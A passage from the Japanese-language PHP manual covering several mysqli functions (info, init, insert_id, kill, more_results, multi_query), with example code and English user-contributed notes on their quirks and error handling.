| Level   | Code | Message                                |
+---------+------+----------------------------------------+
| Warning | 1364 | Field 'x' doesn't have a default value |
| Warning | 1364 | Field 'y' doesn't have a default value |
+---------+------+----------------------------------------+

Doing the same from PHP using mysqli_get_warnings(), you get this instead:

object(mysqli_warning)#4 (3) {
  ["message"]=>
  string(38) "Field 'x' doesn't have a default value"
  ["sqlstate"]=>
  string(5) "HY000"
  ["errno"]=>
  int(1364)
}

i.e. it only returns the first warning. I suspect it should return an array of these objects rather than just one. At least you know what the return value looks like now, since the docs don't say!


直近に実行されたクエリの情報を取得する

  • ≪ mysqli::get_warnings
  • mysqli::init ≫
  • PHP Manual
  • mysqli
  • 直近に実行されたクエリの情報を取得する

mysqli::$info

mysqli_info

(PHP 5, PHP 7)

mysqli::$info -- mysqli_info — 直近に実行されたクエリの情報を取得する

説明

オブジェクト指向型

string $mysqli->info;

手続き型

mysqli_info ( mysqli $link ) : string

mysqli_info() 関数は、直近に実行されたクエリに ついての情報を文字列で返します。文字列の詳細は以下のとおりです。

mysqli_info のとりうる返り値
クエリの型 | 結果文字列の例
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

注意:

これらのどれにも当てはまらない形式のクエリはサポートされません。 そのような場合、mysqli_info() は空文字列を返します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

直近に実行されたクエリについての追加情報を文字列で返します。

例

例1 $mysqli->info の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Records: 150  Duplicates: 0  Warnings: 0

参考

  • mysqli_affected_rows() - 直前の MySQL の操作で変更された行の数を得る
  • mysqli_warning_count() - 指定した接続の直近のクエリから発生した警告の数を返す
  • mysqli_num_rows() - 結果の行数を取得する

User Contributed Notes

vzverev [at] newmail.ru (Vasiliy Zverev) 18-May-2017 03:00
If inserted just one row, mysqli_info() returns empty string which might be confusing, but mysqli_affected_rows() returns 1 in this case.
user at biglake dot com 14-Dec-2010 06:43
Might save someone some time...

<?php
$prototype='Rows matched: 0 Changed: 1 Warnings: 2';
list($matched, $changed, $warnings) = sscanf($prototype, "Rows matched: %d Changed: %d Warnings: %d");
?>


MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す

  • ≪ mysqli::$info
  • mysqli::$insert_id ≫
  • PHP Manual
  • mysqli
  • MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す

mysqli::init

mysqli_init

(PHP 5, PHP 7)

mysqli::init -- mysqli_init — MySQLi を初期化し、mysqli_real_connect() で使うオブジェクトを返す

説明

オブジェクト指向型

public mysqli::init ( ) : mysqli

手続き型

mysqli_init ( ) : mysqli

mysqli_options() と mysqli_real_connect() で使う MYSQLオブジェクトを割り当てるか、初期化します。

注意:

この関数が呼び出された後の、あらゆる mysqli の関数呼び出し (mysqli_options() と mysqli_ssl_set() を除く) は、mysqli_real_connect() 関数が呼び出されるまで失敗します。

返り値

オブジェクトを返します。

例

mysqli_real_connect() を参照して下さい。

参考

  • mysqli_options() - オプションを設定する
  • mysqli_close() - 事前にオープンしているデータベース接続を閉じる
  • mysqli_real_connect() - mysql サーバーとの接続をオープンする
  • mysqli_connect() - mysqli::__construct のエイリアス

User Contributed Notes

Dub B. 03-Feb-2020 07:49
<?php

$SQL = new mysqli;  // create copy class

# optional
//$SQL -> options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

$SQL -> real_connect('127.0.0.1', 'root', 'pass', 'database');

$SQL_Err = $SQL->connect_errno;

if($SQL_Err) // if error
    exit('Error');

?>


直近のクエリで使用した自動生成の ID を返す

  • ≪ mysqli::init
  • mysqli::kill ≫
  • PHP Manual
  • mysqli
  • 直近のクエリで使用した自動生成の ID を返す

mysqli::$insert_id

mysqli_insert_id

(PHP 5, PHP 7)

mysqli::$insert_id -- mysqli_insert_id — 直近のクエリで使用した自動生成の ID を返す

説明

オブジェクト指向型

mixed $mysqli->insert_id;

手続き型

mysqli_insert_id ( mysqli $link ) : mixed

mysqli_insert_id() 関数は、AUTO_INCREMENT 属性を 持つカラムがあるテーブル上でのクエリ (通常は INSERT) により生成された ID を返します。 この接続を介して INSERT 文または UPDATE 文が送信されなかった場合、あるいは 変更されたテーブルに AUTO_INCREMENT 属性を持つカラムがなかった場合は この関数はゼロを返します。

注意:

LAST_INSERT_ID() 関数を使用して INSERT あるいは UPDATE ステートメントを 実行すると、mysqli_insert_id() 関数の返す値も 変更されます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

直前のクエリで更新された AUTO_INCREMENT フィールドの値を返します。接続での直前のクエリがない場合や クエリが AUTO_INCREMENT の値を更新しなかった場合は ゼロを返します。

注意:

もし数値が int の最大値をこえた場合、mysqli_insert_id() は文字列で結果を返します。

例

例1 $mysqli->insert_id の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf ("New Record has id %d.\n", $mysqli->insert_id);

/* テーブルを削除します */
$mysqli->query("DROP TABLE myCity");

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf ("New Record has id %d.\n", mysqli_insert_id($link));

/* テーブルを削除します */
mysqli_query($link, "DROP TABLE myCity");

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

New Record has id 1.

User Contributed Notes

mmulej at gmail dot com 02-Feb-2021 03:39
There has been no examples with prepared statements yet.

```php
$u_name = "John Doe";
$u_email = "johndoe@example.com";

$stmt = $connection->prepare(
    "INSERT INTO users (name, email) VALUES (?, ?)"
);
$stmt->bind_param('ss', $u_name, $u_email);
$stmt->execute();

echo $stmt->insert_id;
```

For UPDATE you simply change query string and binding parameters accordingly, the rest stays the same.

Of course the table needs to have AUTOINCREMENT PRIMARY KEY.
www dot wesley at gmail dot com 26-May-2019 03:54
When using "INSERT ... ON DUPLICATE KEY UPDATE `id` = LAST_INSERT_ID(`id`)", the AUTO_INCREMENT will increase in an InnoDB table, but not in a MyISAM table.
drburnett at mail dot com 19-Jan-2017 03:35
msqli_insert_id();
This seems to return that last id entered.
BUT,  if you have multiple users running the same code, depending on the server or processor I have seen it return the wrong id.

Test Case:
Two users added an item to their list.
I have had a few times where the id was the id from the other user.
This is very very rare and it only happens on my test server and not my main server.

I am guessing it is because of multicores (maybe hyperthreading) or how the operating system handles multi-threads.

It is rare, but it happens.
Himadri himadri dot s dot roy at ansysoft dot com 18-Mar-2016 12:31
Hi  mail at nikha dot org,

I must say your way of getting the key is not correct. Consider a multi user situation where everyone is registering and you are returning their id. Let's say A, B and C are registering at the same time.

Regards
Himadri
mail at nikha dot org 20-Jan-2014 12:37
Hi Dears,

msqli_insert_id() simply does not ALWAYS return the correct value.

Use it only, if you performed some inserts just before. Then you get what you want.

In all other cases: may be, may be not.

I never found out why and why not.

I'm now performing a query like this:
SELECT MAX(`id`) FROM `table`

(by calling mysqli_query() in procedural style, for OO may be similar.)

It' s simple and  reliable - if you have set your id colum to "auto-increment". (if not: hm, why not??);
owenzx at gmail dot com 06-Sep-2013 02:54
The example is lack of insert_id in multi_query. Here is my example:
Assuming you have a new test_db in mysql like this:

create database if not exists test_db;
use test_db;
create table user_info (_id serial, name varchar(100) not null);
create table house_info (_id serial, address varchar(100) not null);

Then you run a php file like this:

<?php
define('SERVER', '127.0.01');
define('MYSQL_USER', 'your_user_name');
define('MYSQL_PASSWORD', 'your_password');

$db = new mysqli(SERVER, MYSQL_USER, MYSQL_PASSWORD, "test_db", 3306);
if ($db->connect_errno)
  echo "create db failed, error is ", $db->connect_error;
else {
  $sql = "insert into user_info "
    . "(name) values "
    . "('owen'), ('john'), ('lily')";
  if (!$result = $db->query($sql))
    echo "insert failed, error: ", $db->error;
  else
    echo "last insert id in query is ", $db->insert_id, "\n";
  $sql = "insert into user_info"
    . "(name) values "
    . "('jim');";
  $sql .= "insert into house_info "
    . "(address) values "
    . "('shenyang')";
  if (!$db->multi_query($sql))
    echo "insert failed in multi_query, error: ", $db->error;
  else {
    echo "last insert id in first multi_query is ", $db->insert_id, "\n";
    if ($db->more_results() && $db->next_result())
      echo "last insert id in second multi_query is ", $db->insert_id, "\n";
    else
      echo "insert failed in multi_query, second query error is ", $db->error;
  }
  $db->close();
}
?>

You will get output like this:

last insert id in query is 1
last insert id in first multi_query is 4
last insert id in second multi_query is 1

Conclusion:
1 insert_id works in multi_query
2 insert_id is the first id mysql has used if you have insert multi values
bert at nospam thinc dot nl 22-Jul-2008 08:58
Watch out for the oo-style use of $db->insert_id. When the insert_id exceeds 2^31 (2147483648) fetching the insert id renders a wrong, too large number. You better use the procedural mysqli_insert_id( $db ) instead.

[EDIT by danbrown AT php DOT net: This is another prime example of the limits of 32-bit signed integers.]
Nick Baicoianu 04-May-2007 01:10
When running extended inserts on a table with an AUTO_INCREMENT field, the value of mysqli_insert_id() will equal the value of the *first* row inserted, not the last, as you might expect.

<?
//mytable has an auto_increment field
$db->query("INSERT INTO mytable (field1,field2,field3) VALUES ('val1','val2','val3'),
('val1','val2','val3'),
('val1','val2','val3')");

echo $db->insert_id; //will echo the id of the FIRST row inserted
?>
will at phpfever dot com 20-Apr-2006 06:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
alan at commondream dot net 03-Nov-2004 11:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.


サーバーに MySQL スレッドの停止を問い合わせる

  • ≪ mysqli::$insert_id
  • mysqli::more_results ≫
  • PHP Manual
  • mysqli
  • サーバーに MySQL スレッドの停止を問い合わせる

mysqli::kill

mysqli_kill

(PHP 5, PHP 7)

mysqli::kill -- mysqli_kill — サーバーに MySQL スレッドの停止を問い合わせる

説明

オブジェクト指向型

public mysqli::kill ( int $processid ) : bool

手続き型

mysqli_kill ( mysqli $link , int $processid ) : bool

この関数は、processid で指定した MySQL スレッドの停止をサーバーに問い合わせます。この値は、 mysqli_thread_id() 関数で取得したものである 必要があります。

実行中のクエリを停止するには、SQL コマンド KILL QUERY processid を使用する必要があります。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli::kill() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* スレッド ID を取得します */
$thread_id = $mysqli->thread_id;

/* 接続を終了します */
$mysqli->kill($thread_id);

/* これはエラーとなります */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* スレッド ID を取得します */
$thread_id = mysqli_thread_id($link);

/* 接続を終了します */
mysqli_kill($link, $thread_id);

/* これはエラーとなります */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error: MySQL server has gone away

参考

  • mysqli_thread_id() - 現在の接続のスレッド ID を返す

User Contributed Notes

There are no user contributed notes for this page.


マルチクエリからの結果がまだ残っているかどうかを調べる

  • ≪ mysqli::kill
  • mysqli::multi_query ≫
  • PHP Manual
  • mysqli
  • マルチクエリからの結果がまだ残っているかどうかを調べる

mysqli::more_results

mysqli_more_results

(PHP 5, PHP 7)

mysqli::more_results -- mysqli_more_results — マルチクエリからの結果がまだ残っているかどうかを調べる

説明

オブジェクト指向型

public mysqli::more_results ( ) : bool

手続き型

mysqli_more_results ( mysqli $link ) : bool

直前の mysqli_multi_query() のコール結果に ひとつ以上の結果セットが残っているかどうかを調べます。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

返り値

直近の mysqli_multi_query() の呼び出しで (エラーを含めて) 1 件以上の結果セットが存在する場合に true、それ以外の場合に false を返します。

例

mysqli_multi_query() を参照ください。

参考

  • mysqli_multi_query() - データベース上でクエリを実行する
  • mysqli_next_result() - multi_query の、次の結果を準備する
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_use_result() - 結果セットの取得を開始する

User Contributed Notes

There are no user contributed notes for this page.


データベース上でクエリを実行する

  • ≪ mysqli::more_results
  • mysqli::next_result ≫
  • PHP Manual
  • mysqli
  • データベース上でクエリを実行する

mysqli::multi_query

mysqli_multi_query

(PHP 5, PHP 7)

mysqli::multi_query -- mysqli_multi_query — データベース上でクエリを実行する

説明

オブジェクト指向型

public mysqli::multi_query ( string $query ) : bool

手続き型

mysqli_multi_query ( mysqli $link , string $query ) : bool

セミコロンで連結されたひとつまたは複数のクエリを実行します。

最初のクエリの結果セットを取得するには、 mysqli_use_result() あるいは mysqli_store_result() を使用します。その他のクエリの結果は、 mysqli_more_results() および mysqli_next_result() を使用して取得します。

パラメータ

link

手続き型のみ: mysqli_connect() あるいは mysqli_init() が返すリンク ID。

query

クエリを表す文字列。

クエリ内のデータは 適切にエスケープ する必要があります。

返り値

最初のステートメントが失敗した場合にのみ false を返します。 その他のステートメントのエラーを取得するには、まず mysqli_next_result() をコールする必要があります。

例

例1 mysqli::multi_query() の例

オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* マルチクエリを実行します */
if ($mysqli->multi_query($query)) {
    do {
        /* 最初の結果セットを格納します */
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->free();
        }
        /* 区切り線を表示します */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* 接続を閉じます */
$mysqli->close();
?>

手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* マルチクエリを実行します */
if (mysqli_multi_query($link, $query)) {
    do {
        /* 最初の結果セットを格納します */
        if ($result = mysqli_store_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* 区切り線を表示します */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は、 たとえば以下のようになります。

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

参考

  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_use_result() - 結果セットの取得を開始する
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_next_result() - multi_query の、次の結果を準備する
  • mysqli_more_results() - マルチクエリからの結果がまだ残っているかどうかを調べる

User Contributed Notes

ashteroid 08-Aug-2020 10:57
To get the affected/selected row count from all queries

$q = "UPDATE `Review` SET `order` = 1 WHERE id = 600;" // aff 1
       .  "UPDATE `Review` SET `order` = 600 WHERE id = 1;" //aff 1
    . "SELECT 0;" //for testing, aff rows == -1
                    ;

    $affcnt = 0;
    $rowcnt = 0;

    $res = $db->multi_query($q);
    if($res == false)
        Lib::throw( $q . "\n[" . $db->errno . "]\n" . $db->error . "\n" );
    do
    {
        $affcnt += $db->affected_rows;
        if( isset($res->num_rows) )
            $rowcnt += $res->num_rows;
    }
    while( $db->more_results() && $res = $db->next_result() );
    //IMPORTANT: call more_results First!, THEN next_result to get new data.

    return $res;
filippo at ecoms dot it 17-Dec-2018 08:57
Tested with PHP 5.6.29

<?php

/*
    $mysqli = mysqli object
    $query = string with the multi query
*/

$results = array();

if (!$mysqli->multi_query($query))
    throw new Exception();

while (true) {

    $result = $mysqli->store_result();

    if ($mysqli->errno != 0)
        throw new Exception();

    $results[] = $result === false ? true : $result;

    /*
        $mysqli->affected_rows and insert_id here are relative to the current result
    */

    if ($mysqli->more_results()) {
        if (!$mysqli->next_result())
            throw new Exception();
    }
    else
        break;
}

/*
    $results = array of the results, each element can be true or a mysqli_result object
*/

?>
ASchmidt at Anamera dot net 31-Mar-2018 12:40
Multi-queries open the potential for a SQL injection.

The often cited "fallback" loop:

<?php
while ( $db->more_results() and $db->next_result() ) {
  $rs = $db->use_result();
  if( $rs instanceof \mysqli_result ) {
      $rs->free();
}
?>

certainly will avoid the dreaded error 2014 "Commands out of sync; you can't run this command now" error. However, that technique will completely disregard the fact that any excess result sets are a likely indication of an infiltrated system.

Instead, it may be wise to tightly manage the correct number of expected, individual result sets and throw an exception of more are received.

However, it's important to understand that any closing comment (which might have been appended as one defense against command appending) will result in an EXTRA, EMPTY result set.

Example:

SELECT SQL_CALC_FOUND_ROWS * FROM `table` LIMIT 10; SELECT FOUND_ROWS(); --

will produce THREE result sets:

#1 - the ten data rows,
#2 - the overall row count,
#3 - an empty result set, where: FALSE === $db->use_result(), even though it had been TRUE === ($db->more_results() and $db->next_result() ) .
Stjepan Brbot 27-Jul-2016 11:12
This example shows how to read data from multiple stored procedures. Here I have two stored procedures proc1() and proc2() and retrieve their data into 2D array:

<?php

$db=new mysqli(...);

$sql="CALL proc1(...); CALL proc2(...);";

$procs=[]; //outer array for resultsets (tables)
$cols=[]; //inner array for columns (fields)

if($db->multi_query($sql))
{
  do
  {
    $db->next_result();
    if($rst=$db->use_result())
    {
      while($row=$rst->fetch_row())
      {
          $cols[]=$row[0]; //fetch 1st column value
          $cols[]=$row[1]; //fetch 2nd column value
      }
      $procs[]=$cols; //add cols to procedures array
    }
  }
  while($this->db->more_results());
}

?>
jesper at hermandsen dot dk 29-Dec-2014 01:46
If you're importing a sql-file with triggers, functions, stored procedures and other stuff, you'll might be using DELIMITER in MySQL.
Notice: This function assumes that all delimiters are on it's own line, and that "DELIMITER" are in all caps.

<?php
function mysqli_multi_query_file($mysqli, $filename) {
    $sql = file_get_contents($filename);
    // remove comments
    $sql = preg_replace('#/\*.*?\*/#s', '', $sql);
    $sql = preg_replace('/^-- .*[\r\n]*/m', '', $sql);
    if (preg_match_all('/^DELIMITER\s+(\S+)$/m', $sql, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
        $prev = null;
        $index = 0;
        foreach ($matches as $match) {
            $sqlPart = substr($sql, $index, $match[0][1] - $index);
            // move cursor after the delimiter
            $index = $match[0][1] + strlen($match[0][0]);
            if ($prev && $prev[1][0] != ';') {
                $sqlPart = explode($prev[1][0], $sqlPart);
                foreach ($sqlPart as $part) {
                    if (trim($part)) { // no empty queries
                        $mysqli->query($part);
                    }
                }
            } else {
                if (trim($sqlPart)) { // no empty queries
                    $mysqli->multi_query($sqlPart);
                    while ($mysqli->next_result()) {;}
                }
            }
            $prev = $match;
        }
        // run the sql after the last delimiter
        $sqlPart = substr($sql, $index, strlen($sql)-$index);
        if ($prev && $prev[1][0] != ';') {
            $sqlPart = explode($prev[1][0], $sqlPart);
            foreach ($sqlPart as $part) {
                if (trim($part)) {
                    $mysqli->query($part);
                }
            }
        } else {
            if (trim($sqlPart)) {
                $mysqli->multi_query($sqlPart);
                while ($mysqli->next_result()) {;}
            }
        }
    } else {
        $mysqli->multi_query($sql);
        while ($mysqli->next_result()) {;}
    }
}
?>
levani0101 at yahoo dot com 05-Jul-2014 10:37
Please note that there is no need for the semicolon after the last query. That wasted more than hour of my time...
vicky dot gonsalves at outlook dot com 05-Mar-2014 10:29
Following code can be used to resolve
mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

        $query = "SELECT SOME_COLUMN FROM SOME_TABLE_NAME;";
        $query .= "SELECT SOME_OTHER_COLUMN FROM SOME_TABLE_NAME";
        /* execute multi query */
        if (mysqli_multi_query($this->conn, $query)) {
            $i = true;
            do {
                /* store first result set */
                if ($result = mysqli_store_result($this->conn)) {
                    while ($row = mysqli_fetch_row($result)) {
                        printf("%s\n", $row[0]);
                    }
                    mysqli_free_result($result);
                }
                /* print divider */
                if (mysqli_more_results($this->conn)) {
                    $i = true;
                    printf("-----------------\n");
                } else {
                    $i = false;
                }
            } while ($i && mysqli_next_result($this->conn));
        }
skunkbad 10-Jan-2014 08:13
I appreciate the advice from crmccar at gmail dot com regarding the proper way to check for errors, but I would get an error with his/her code. I fixed it by changing the code a little:

<?php
$sql = file_get_contents( 'sql/test_' . $id . '_data.sql');

$query_array = explode(';', $sql);

// Run the SQL
$i = 0;
if( $this->mysqli->multi_query( $sql ) )
{
    do {
        $this->mysqli->next_result();

        $i++;
    }
    while( $this->mysqli->more_results() );
}

if( $this->mysqli->errno )
{
    die(
        '<h1>ERROR</h1>
        Query #' . ( $i + 1 ) . ' of <b>test_' . $id . '_data.sql</b>:<br /><br />
        <pre>' . $query_array[ $i ] . '</pre><br /><br />
        <span style="color:red;">' . $this->mysqli->error . '</span>'
    );
}
?>
Ivan Gabriele 07-Dec-2013 04:47
To be able to execute a $mysqli->query() after a $mysqli->multi_query() for MySQL > 5.3, I updated the code of jcn50 by this one :

<?php
    // WORKING CODE:
    $mysqli->multi_query(" Many SQL queries ; "); // OK

    while ($mysqli->next_result()) // flush multi_queries
    {
        if (!$mysqli->more_results()) break;
    }

    $mysqli->query(" SQL statement #1 ; ") // now executed!
    $mysqli->query(" SQL statement #2 ; ") // now executed!
    $mysqli->query(" SQL statement #3 ; ") // now executed!
    $mysqli->query(" SQL statement #4 ; ") // now executed!
?>
keksov at gmail dot com 17-Aug-2013 06:29
If you want to create a table with triggers, procedures or functions in one multiline query you may stuck with a error -
#1064 - You have an error in your SQL syntax; xxx corresponds to your MySQL server version for the right syntax to use near 'DELIMITER' at line 1

The solution is very simple - don't use DELIMITER keyword at all! So, instead of :

DELIMITER |
CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT|
DELIMITER ;

just use :

CREATE TRIGGER $dbName.$iname BEFORE INSERT ON $table FOR EACH ROW
BEGIN
    <body>
EOT;

For more information read answers at StackOverflow for question #5311141

http://stackoverflow.com/questions/5311141/how-to-execute-mysql-command-delimiter
Lubaev K 22-Jul-2013 09:15
Use generator.
PHP 5.5.0
<?php
// Quick multiQuery func.
function multiQuery( mysqli $mysqli, $query ) {
    if ($mysqli->multi_query( $query )) {
    do {
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                foreach ($row as $key => $value) yield $key => $value;
            }
            $result->free();
        }
    } while( $mysqli->more_results() && $mysqli->next_result() );
    }
}

$query = "OPTIMIZE TABLE `question`;" .
         "LOCK TABLES `question` READ;" .
         "SELECT * FROM `question` WHERE `questionid`=2;" .
         "SELECT * FROM `question` WHERE `questionid`=7;" .
         "SELECT * FROM `question` WHERE `questionid`=8;" .
         "SELECT * FROM `question` WHERE `questionid`=9;" .
         "SELECT * FROM `question` WHERE `questionid`=11;" .
         "SELECT * FROM `question` WHERE `questionid`=12;" .
         "UNLOCK TABLES;" .
         "TRUNCATE TABLE `question`;";

$mysqli = new mysqli('localhost', 'user', 'pswd', 'dbnm');
$mysqli->set_charset("cp1251");

// result
foreach ( multiQuery($mysqli, $query) as $key => $value ) {
    echo $key, $value, PHP_EOL;
}

?>
Good luck!
miqrogroove at gmail dot com 17-Jan-2013 09:40
Here are more details about error checking and return values from multi_query().  Testing shows that there are some mysqli properties to check for each result:

affected_rows
errno
error
insert_id
warning_count

If error or errno are not empty then the remaining queries did not return anything, even though error and errno will appear to be empty if processing further results is continued.

Also note that get_warnings() will not work with multi_query().  It can only be used after looping through all results, and it will only get the warnings for the last one of the queries and not for any others.  If you need to see or log query warning strings then you must not use multi_query(), because you can only see the warning_count value.
jlong at carouselchecks dot com 24-Sep-2012 07:56
Getting "Error: Commands out of sync; you can't run this command now" after running a multi-query? Make sure you've cleared out the queue of results.

Here's what I've used to discard all subsequent results from a multi-query:

<?php
while($dbLink->more_results() && $dbLink->next_result()) {
    $extraResult = $dbLink->use_result();
    if($extraResult instanceof mysqli_result){
        $extraResult->free();
    }
}

?>
crmccar at gmail dot com 12-Oct-2011 06:40
I'd like to reinforce the correct way of catching errors from the queries executed by multi_query(), since the manual's examples don't show it and it's easy to lose UPDATEs, INSERTs, etc. without knowing it.

$mysqli->next_result() will return false if it runs out of statements OR if the next statement has an error. Therefore, it's important to check for errors when the loop ends. Also, I believe it's useful to know when and where the loop broke, so consider the following code:

<?php
$statements = array("INSERT INTO tablename VALUES ('1', 'one')", "INSERT INTO tablename VALUES ('2', 'two')");
if ($mysqli->multi_query(implode(';', $statements))) {
    $i = 0;
    do {
        $i++;
    } while ($mysqli->next_result());
}
if ($mysqli->errno) {
    echo "Batch execution prematurely ended on statement $i.\n";
    var_dump($statements[$i], $mysqli->error);
}
?>

The IF statement on the multi_query() call checks the first result, because next_result() starts at the second.
Anonymous 20-May-2011 07:25
If your second or late query returns no result or even if your query is not a valid SQL query, more_results(); returns true in any case.
jcn50 09-Mar-2011 05:09
WATCH OUT: if you mix $mysqli->multi_query and $mysqli->query, the latter(s) won't be executed!

<?php
// BAD CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
$mysqli->query(" SQL statement #1 ; ") // not executed!
$mysqli->query(" SQL statement #2 ; ") // not executed!
$mysqli->query(" SQL statement #3 ; ") // not executed!
$mysqli->query(" SQL statement #4 ; ") // not executed!
?>

The only way to do this correctly is:

<?php
// WORKING CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
while ($mysqli->next_result()) {;} // flush multi_queries
$mysqli->query(" SQL statement #1 ; ") // now executed!
$mysqli->query(" SQL statement #2 ; ") // now executed!
$mysqli->query(" SQL statement #3 ; ") // now executed!
$mysqli->query(" SQL statement #4 ; ") // now executed!
?>
luka8088 at owave dot net 20-Sep-2010 10:17
if you don't iterate through all results you get "server has gone away" error message ...

to resolve this, in php 5.2 it is enough to use

<?php
  // ok for php 5.2
  while ($mysqli->next_result());
?>

to drop unwanted results, but in php 5.3 using only this throws

mysqli::next_result(): There is no next result set. Please, call mysqli_more_results()/mysqli::more_results() to check whether to call this function/method

so it should be replaced with

<?php
  // ok for php 5.3
  while ($mysqli->more_results() && $mysqli->next_result());
?>

I also tried but failed:

<?php

  // can create infinite look in some cases
  while ($mysqli->more_results())
    $mysqli->next_result();

  // also throws error in some cases
  if ($mysqli->more_results())
    while ($mysqli->next_result());

?>
Shawn Pyle 15-Apr-2010 09:29
Be sure to not send a set of queries that are larger than max_allowed_packet size on your MySQL server. If you do, you'll get an error like:
Mysql Error (1153): Got a packet bigger than 'max_allowed_packet' bytes

To see your MySQL size limitation, run the following query: show variables like 'max_allowed_packet';

or see http://dev.mysql.com/doc/refman/5.1/en/packet-too-large.html
Miles 22-Jun-2009 10:47
You can use prepared statements on stored procedures.

